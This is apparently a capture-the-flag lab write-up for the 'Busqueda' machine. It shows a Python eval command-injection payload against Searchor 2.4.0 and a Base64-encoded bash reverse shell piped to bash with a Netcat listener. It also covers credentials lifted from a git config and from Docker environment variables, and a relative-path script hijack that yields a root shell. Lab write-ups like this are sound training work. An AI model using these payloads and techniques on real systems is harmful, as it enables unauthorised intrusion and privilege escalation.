Busqueda
Busqueda
Busqueda
Difficulty: Easy
Synopsis
Busqueda is an Easy Difficulty Linux machine that involves exploiting a command injection vulnerability
present in a Python module. By leveraging this vulnerability, we gain user-level access to the machine. To
escalate privileges to root , we discover credentials within a Git config file, allowing us to log into a local
Gitea service. Additionally, we uncover that a system checkup script can be executed with root privileges
by a specific user. By utilizing this script, we enumerate Docker containers that reveal credentials for the
administrator user's Gitea account. Further analysis of the system checkup script's source code in a
Git repository reveals a means to exploit a relative path reference, granting us Remote Code Execution
(RCE) with root privileges.
Skills required
Web Enumeration
Linux Fundamentals
Python Basics
Skills learned
Command Injection
Source-code Analysis
Docker Basics
Enumeration
Nmap
Let's run an Nmap scan to discover any open ports on the remote host.
The Nmap scan shows that SSH is listening on its default port, i.e. port 22 and an Apache HTTP web server
is running on port 80 .
HTTP
Upon browsing to port 80 , we are redirected to the domain searcher.htb .
Let's add an entry for searcher.htb to our /etc/hosts file with the corresponding IP address to resolve
the domain name and allow us to access it in our browser.
Upon visiting searcher.htb in the browser, we are greeted with the homepage of the "Searcher" app. It
appears to be a search engine aggregator that allows users to search for information on various search
engines.
Users can select a search engine, type a query, and get redirected automatically or get the URL of the search
results.
After pressing the "Search" button, the website provides the URL for the specified search engine and the
entered query.
Foothold
It is worth noting that the website footer says that it's using Flask and Searchor version 2.4.0 .
What is Searchor?
Searchor is a comprehensive Python library that streamlines the process of web scraping, retrieving
information on any subject, and creating search query URLs.
If we follow the hyperlink on "Searchor 2.4.0" in the webpage footer, we are redirected to its GitHub
repository, where we can examine the changelog for the various released versions. There is a mention of a
priority vulnerability being patched in version 2.4.2 . The version in use by the website is 2.4.0 which
means that it is likely vulnerable.
Looking at the patch, we can see that the pull request is about patching a command injection vulnerability
present in the search functionality due to the use of an eval statement on unsanitized user input.
We can view the specific commit, which shows the eval statement that was replaced in the main.py file.
However, since there is no Proof of Concept ( POC ) currently available, we must determine how to take
advantage of this vulnerability by ourselves. Therefore, let us download the Searchor 2.4.0 module on
our local machine and analyse its code.
wget https://github.com/ArjunSharda/Searchor/archive/refs/tags/v2.4.0.zip
unzip v2.4.0.zip
We can examine the main.py file to see that similar to the commit, the user input is directly passed to an
eval statement without any sanitization.
nano Searchor-2.4.0/src/searchor/main.py
The search() function accepts four parameters, and we have control over two of them: engine and
query .
Within the CLI tool, the engine and query parameters correspond to the second and third arguments,
respectively. Regarding command injection, it appears possible to inject both parameters since they are
directly passed to the eval statement. However, within the application, if an attempt is made to modify the
engine to an option not present in the predefined engine list, an error is encountered.
Therefore, we must focus on utilizing the query parameter as the injection point. It is worth noting that
eval statements typically do not support executing multiple lines, although there are techniques to
achieve this. Additionally, it is crucial to ensure that our payload does not disrupt the preceding portion of
the eval statement. Taking all these considerations into account, we can employ a payload like the
following to exploit this vulnerability and achieve command injection.
') + str(__import__('os').system('id')) #
To ensure the execution of the remaining portion of the eval statement, we must employ the + operator
to concatenate the output of another line separately. It is important to note that the # symbol at the end
functions as a comment, disregarding any content that follows it.
url = eval(
Engine.<some_engine>.search('') + str(__import__('os').system('id')) #', copy_url=
{copy}, open_web={open})"
)
Let us first test the payload locally and verify if the code injection works as expected.
searchor search Google "')+ str(__import__('os').system('id'))#"
The output of the id command is returned successfully, indicating that our injection was successful.
To validate code execution on the remote host, let us proceed to submit the payload in the query
parameter of the web application.
')+ str(__import__('os').system('id'))#
In order to leverage this into an interactive shell, we first start a Netcat listener on our local machine on
port 1337 .
nc -nvlp 1337
We then send the following Base64-encoded reverse shell payload in the query parameter of the
Searcher website.
')+ str(__import__('os').system('echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#
You can use a website such as revshells to generate an encoded payload suitable to your IP address.
cat /home/svc/user.txt
Privilege Escalation
By enumerating the files on the remote host, we can identify the credential pair
cody:jh1usoih2bkjaspwe92 stored in the /var/www/app/.git/config file. It also contains a reference to
the gitea.searcher.htb subdomain.
cat /var/www/app/.git/config
We can try to log in over SSH as user svc with the obtained password jh1usoih2bkjaspwe92 .
ssh [email protected]
Coming back to the gitea.searcher.htb domain, let's add an entry for it in our /etc/hosts file.
What is Gitea?
Gitea is a self-hosted, lightweight, open-source Git service that provides a web interface for
managing Git repositories. It is a version control server similar to popular platforms like GitHub or
GitLab but is designed to be lightweight, easy to install, and consume fewer system resources.
Under the "Explore" section, it can be seen that there are 2 users on the Gitea application, namely cody
and administrator .
We can log in as the user cody with the earlier obtained credentials, only to find a private repository
named Searcher_site which contains the source code of the Searcher web app.
As we do not possess the password for the administrator user, we are unable to examine the private
repositories associated with that user. Nonetheless, it is worthwhile to remember to revisit this if we obtain
the password later.
Continuing further, we can check the sudo permissions for the user svc to discover that we can run the
command /usr/bin/python3 /opt/scripts/system-checkup.py * as root .
sudo -l
ls -l /opt/scripts/system-checkup.py
Upon executing the Python script, a help menu displaying the usable arguments is presented.
When executing the script with the docker-inspect argument, the usage information indicates that it
requires two specific arguments: format and container name .
We can view the usage information of the docker inspect command here.
According to the information provided here, Docker leverages Go templates that enable users to modify
the output format of specific commands. The website specifically mentions the usage of the {{json .}}
formatting template, which renders all the information about the container in the JSON format. Thus, we
can use {{json .}} as the format argument required by the docker-inspect argument of the script.
To read the JSON output conveniently, we can use jq to parse the JSON output into a readable format. jq
can be installed using the following command, however, it is already present on the target machine.
Let's now run the script with the appropriate parameters for the docker-inspect argument.
We can examine the out to discover a Gitea password hardcoded in the Env section, which consists of the
environment variables.
[** SNIP **]
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
Using the obtained password yuiu1hoiu4i5ho1uh , we can log into the Gitea application as the
administrator user.
We can now enumerate the aforementioned private repositories to find a scripts repository, which
contains the files that we saw in the /opt/scripts directory of the remote host.
Therefore, we should inspect the system-checkup.py file since we have the ability to execute the
/opt/scripts/system-checkup.py file with root privileges on the remote host. During our analysis of
the code, we uncover that the full-checkup argument, which we haven't examined yet, executes a bash
script named full-checkup.sh .
Of particular interest is the fact that the system-checkup.py script references the full-checkup.sh script
using a relative path, ./full-checkup.sh , instead of an absolute path such as /opt/scripts/full-
checkup.sh , within the system-checkup.py file. This suggests that the system-checkup.py script
attempts to execute full-checkup.sh from the directory where system-checkup.py was executed.
The system-checkup.py is executed successfully when ran from the /opt/scripts/ directory where the
full-checkup.sh file is present.
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
We now attempt to leverage the relative reference to full-checkup.sh by executing the system-checkup
script from another directory that will contain our own malicious full-checkup.sh script.
So, let's create a file /tmp/full-checkup.sh and insert a reverse shell payload into it.
chmod +x /tmp/full-checkup.sh
Next, we start a Netcat listener on port 9001 on our local machine to receive the reverse shell.
nc -nvlp 9001
Finally, we run the following command on the remote host from the /tmp directory to trigger the reverse
shell.
cd /tmp
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Upon running the above command on the remote host, we receive a shell as user root on our listener port
9001 .
cat /root/root.txt